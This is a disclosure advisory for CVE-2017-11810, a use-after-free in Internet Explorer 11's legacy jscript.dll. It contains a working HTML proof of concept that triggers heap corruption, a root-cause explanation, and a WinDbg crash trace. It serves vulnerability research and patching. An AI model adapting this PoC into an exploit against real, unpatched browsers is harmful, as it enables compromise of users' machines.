Microsoft Internet Explorer 11 jscript!JsErrorToString Use-After-Free

2017-11-1000:00:00
Ivan Fratric
packetstormsecurity.com
0.924 High
EPSS
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`Microsoft IE11: use-after-free in jscript!JsErrorToString   
  
CVE-2017-11810  
  
  
There is a use-after-free in jscript.dll library that can be exploited in IE11.  
  
jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick).  
  
PoC:  
  
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<!-- saved from url=(0014)about:internet -->  
<html>  
<head>  
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>  
</head>  
<body>  
<script language="Jscript.Encode">  
  
var e = new Error();  
  
var o = {toString:function() {  
//alert('in toString');  
e.name = 1;  
CollectGarbage();  
  
//reallocate  
for(var i=0;i<100;i++) {  
e.name = {};  
}  
  
return 'b';  
}};  
  
e.name = Array(1000).join('a');  
e.message = o;  
//alert('calling JsErrorToString');  
var result = e.toString();  
//alert('boom');  
alert(result);  
  
</script>  
</body>  
</html>  
  
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This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data).  
  
When JsErrorToString runs, it tries to concatenate anamea and amessagea properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both anamea and amessagea properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the anamea string.  
  
Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow.  
  
Debug log:  
  
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(10b8.1364): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b  
eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0 nv up ei ng nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286  
msvcrt!memcpy+0x270:  
751c9a6c 8a4603 mov al,byte ptr [esi+3] ds:002b:e6e8bb82=??  
  
0:008> k  
# ChildEBP RetAddr   
00 09dfbe04 7013c367 msvcrt!memcpy+0x270  
01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86  
02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13  
03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424  
04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a  
05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90  
06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9  
07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f  
08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b  
09 09dfc558 70133797 jscript!CSession::Execute+0x23d  
0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b  
0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206  
0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29  
0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51  
0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6  
0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e  
10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232  
11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed  
12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201  
13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e  
14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617  
15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d  
16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61  
17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b  
18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38  
19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f  
1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c  
1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103  
1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23  
1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109  
1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5  
1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf  
20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464  
21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7  
22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67  
23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94  
24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe  
25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70  
26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
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This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: ifratric  
  
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